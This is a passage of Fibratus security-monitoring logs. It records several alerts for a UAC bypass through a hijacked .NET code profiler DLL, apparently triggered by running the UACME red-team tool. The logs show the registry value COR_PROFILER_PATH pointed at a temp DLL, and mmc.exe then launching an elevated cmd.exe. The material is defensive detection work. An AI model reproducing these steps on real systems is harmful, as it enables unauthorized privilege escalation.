Hijack]. Text: Event(s): + Seq: 5008850 + Pid: 17084 + Tid: 9608 + Type: RegSetValue + CPU: 4 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-12-03 14:38:00.3603618 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffffab8672884120, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: rule.seq.link: 14695981039346656037, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 17084 + Ppid: 15068 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:fa8e9e05-6b13-4530-bd6b-7db690e0961f WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 5039421 + Pid: 10788 + Tid: 8724 + Type: CreateProcess + CPU: 4 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-12-03 14:38:01.9828792 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 3b3857000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffffbb8a591c80c0, name➜ cmd.exe, pid➜ 5360, ppid➜ 10788, real_ppid➜ 10788, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-03 14:38:01.9827763 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.seq.link: 14695981039346656037, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation + + Pid: 10788 + Ppid: 17084 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows\System32\mmc.exe" eventvwr.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Exe: C:\Windows\System32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\System32\mmc.exe" eventvwr.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-03T14:39:02+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 5251585 + Pid: 10880 + Tid: 17072 + Type: RegSetValue + CPU: 4 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-12-03 14:38:56.4837656 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffffab8672884120, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: rule.seq.link: 14695981039346656037, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, tactic.id: TA0004 + + Pid: 10880 + Ppid: 15068 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:fa8e9e05-6b13-4530-bd6b-7db690e0961f WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 5268613 + Pid: 14220 + Tid: 8432 + Type: CreateProcess + CPU: 6 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-12-03 14:38:58.2944933 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 38218c000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffffbb8a5c8f5080, name➜ cmd.exe, pid➜ 6932, ppid➜ 14220, real_ppid➜ 14220, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-03 14:38:58.2944114 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.seq.link: 14695981039346656037, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, tactic.id: TA0004 + + Pid: 14220 + Ppid: 10880 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows\System32\mmc.exe" eventvwr.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Exe: C:\Windows\System32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\System32\mmc.exe" eventvwr.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-03T14:39:45+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 5352074 + Pid: 1720 + Tid: 3276 + Type: RegSetValue + CPU: 2 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-12-03 14:39:41.5949427 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffffab8672884120, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: rule.seq.link: 14695981039346656037, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 1720 + Ppid: 15068 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program 